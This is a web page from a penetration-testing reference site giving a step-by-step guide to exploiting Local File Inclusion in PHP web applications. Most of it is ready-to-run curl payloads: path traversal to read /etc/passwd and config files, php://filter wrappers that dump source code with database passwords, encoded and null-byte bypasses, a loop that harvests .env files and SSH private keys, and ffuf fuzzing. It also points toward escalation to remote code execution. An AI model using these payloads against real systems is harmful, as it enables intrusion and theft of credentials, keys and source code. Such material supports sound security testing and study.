# Local File Inclusion Exploitation

> Exploit LFI vulnerabilities to read sensitive files, achieve log poisoning, and escalate to RCE via path traversal and PHP wrapper abuse.

- **URL:** https://hackindex.io/services/web/exploitation/file-inclusion/local-file-inclusion-exploitation
- **Path:** HTTP/HTTPS > Exploitation > File Inclusion Exploitation
- **Up:** [File Inclusion Exploitation](https://hackindex.io/services/web/exploitation/file-inclusion.md)
- **Published:** 2026-01-25
- **Updated:** 2026-04-24

Local File Inclusion lets you read arbitrary files the web server process can access. The immediate value is credential extraction from config files, SSH keys, and system files. The follow-on path is escalation to code execution via log poisoning, session injection, or PHP wrappers: covered in [LFI to Remote Code Execution](https://hackindex.io/services/web/exploitation/file-inclusion/lfi-to-remote-code-execution).

- **Path traversal** reads files outside the webroot using `../` sequences at varying depths.
- **PHP filter wrappers** extract source code as base64 without executing it.
- **High-value file targets** include config files, SSH keys, .env files, and log files.
- **Filter bypasses** use double encoding, null bytes, and nested traversal to evade input sanitization.
- **Automated fuzzing** with ffuf and LFI wordlists covers traversal variants at scale.

Confirm the vulnerability with `/etc/passwd` before targeting anything else. Adjust traversal depth until you get a hit.

## Basic Path Traversal

#### Linux

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?page=../../etc/passwd" | grep root
# root:x:0:0:root:/root:/bin/bash
```

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?page=../../../../etc/passwd" | grep root
```

#### Windows

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?page=../../Windows/System32/drivers/etc/hosts"
```

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?page=../../inetpub/wwwroot/web.config"
```

If the baseline traversal returns nothing, increment depth. Start at `../../` and go up to `../../../../../`. Check response size changes: even a slight difference indicates a successful read that may not print cleanly.

## PHP Filter Wrapper for Source Disclosure

The php://filter wrapper reads files as base64 without executing them. This lets you read PHP source files that would otherwise be executed instead of displayed:

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?page=php://filter/convert.base64-encode/resource=config.php" | base64 -d
# <?php
# $db_host = 'localhost';
# $db_user = 'admin';
# $db_pass = 'SuperSecret123!';
# $db_name = 'webapp';
```

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?page=php://filter/convert.base64-encode/resource=../../var/www/html/index.php" | base64 -d
```

Source code disclosure from config files frequently contains database credentials, API keys, and internal service addresses. Read the main application files to map further injection points before escalating.

## High-Value File Targets

After confirming traversal works, target files likely to contain credentials or intelligence useful for escalation:

| Linux target | Value |
| --- | --- |
| /etc/passwd | User list, home directories |
| /etc/shadow | Password hashes if readable |
| /home/USER/.ssh/id_rsa | SSH private key |
| /var/www/html/config.php | Database credentials |
| /var/www/html/.env | App secrets, API keys |
| /var/log/apache2/access.log | Log poisoning target |
| /proc/version | Kernel version |

```bash
for file in /etc/passwd /etc/hostname /var/www/html/.env /var/www/html/config.php /home/www-data/.ssh/id_rsa; do echo "=== $file ==="; curl -sk "http://$TARGET_IP:$PORT/index.php?page=../../..${file}" | head -5; done
```

## Filter Bypass Techniques

When basic traversal is blocked, the application is likely stripping or blocking `../` sequences. Try these variants in order: stop when one works:

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?page=....//....//....//etc/passwd" | grep root
```

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?page=..%2F..%2F..%2Fetc%2Fpasswd" | grep root
```

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?page=..%252F..%252F..%252Fetc%252Fpasswd" | grep root
```

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?page=../../etc/passwd%00" | grep root
```

> [!WARNING]
> Null byte truncation (%00) only works on PHP 5.3.3 and earlier. On modern PHP versions this has no effect.

## Automated Fuzzing

Use ffuf with a dedicated LFI wordlist to test all traversal variants against the parameter automatically:

```bash
ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -u "http://$TARGET_IP:$PORT/index.php?page=FUZZ" -mc 200 -fs 1234
```

Set `-fs` to the normal response size so only results with different content are shown. Once you have reliable file read, escalate to code execution via [LFI to Remote Code Execution](https://hackindex.io/services/web/exploitation/file-inclusion/lfi-to-remote-code-execution).

## References

- [PHP: php:// Wrappers](https://www.php.net/manual/en/wrappers.php.php) - php://filter and php://input wrapper documentation
- [SecLists: LFI Wordlists](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI) - LFI traversal payload lists including Jhaddix and common variants
- [PayloadsAllTheThings: File Inclusion](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion) - LFI bypass payloads and wrapper-based techniques